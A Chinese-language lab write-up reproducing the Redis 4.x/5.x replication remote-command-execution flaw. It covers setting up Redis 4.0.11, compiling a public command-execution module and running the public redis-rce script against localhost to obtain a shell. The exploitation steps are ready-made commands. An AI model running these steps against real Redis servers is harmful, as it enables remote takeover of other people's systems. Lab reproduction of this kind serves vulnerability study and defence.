­

Redis 4.x 5.x漏洞手动复现

文章说明: 本文来自山丘安全攻防实验室A组成员:O8 文章类型:漏洞复现

前言:

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

近期,Redis被爆出存在通过主从复制从而Getshell的漏洞。

以下是漏洞说明以及利用步骤

一、环境搭建

环境介绍:KAIL 2019 、 VM

环境搭建命令如下

cd /  wget download.redis.io/releases/redis-4.0.11.tar.gz  tar zxf redis-4.0.11.tar.gz  cd redis-4.0.11  make PREFIX=/usr/local/redis install

检查安装是否有问题

make test

如果报错了:

yum -y install tcl

将源码中redis.conf拷贝到/usr/local/redis目录

cp /redis-4.0.11/redis.conf /usr/local/redis

修改redis.conf中“daemonize no”为“daemonize yes”,表示redis以后台的方式启动

cd /usr/local/redis  vi redis.conf

服务器启动

/usr/local/redis/bin/redis-server /usr/local/redis/redis.conf

查看进程

ps -ef| grep redis

测试:

服务端停止服务

/usr/local/redis/bin/redis-cli shutdown

二、POC下载

https://github.com/Ridter/redis-rce

三、分析案例

https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

四、编译SO地址

https://github.com/n0b0dyCN/RedisModules-ExecuteCommand

五、漏洞复现

1、后台启动

/usr/local/redis/bin/redis-server /usr/local/redis/redis.conf

2、编译文件下载并且编译

root@solitary:/usr/local/redis#  git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
root@solitary:/usr/local/redis# cd RedisModules-ExecuteCommand/  root@solitary:/usr/local/redis/RedisModules-ExecuteCommand# make  root@solitary:/usr/local/redis/RedisModules-ExecuteCommand/src#  ls  Makefile  module.c  module.o  module.so

3、漏洞利用

将POC放入这个目录

4、运行脚本

root@solitary:/usr/local/redis/RedisModules-ExecuteCommand/src#  python redis-rce.py -r 127.0.0.1 -L 127.0.0.1 -f module.so

输入i

利用成功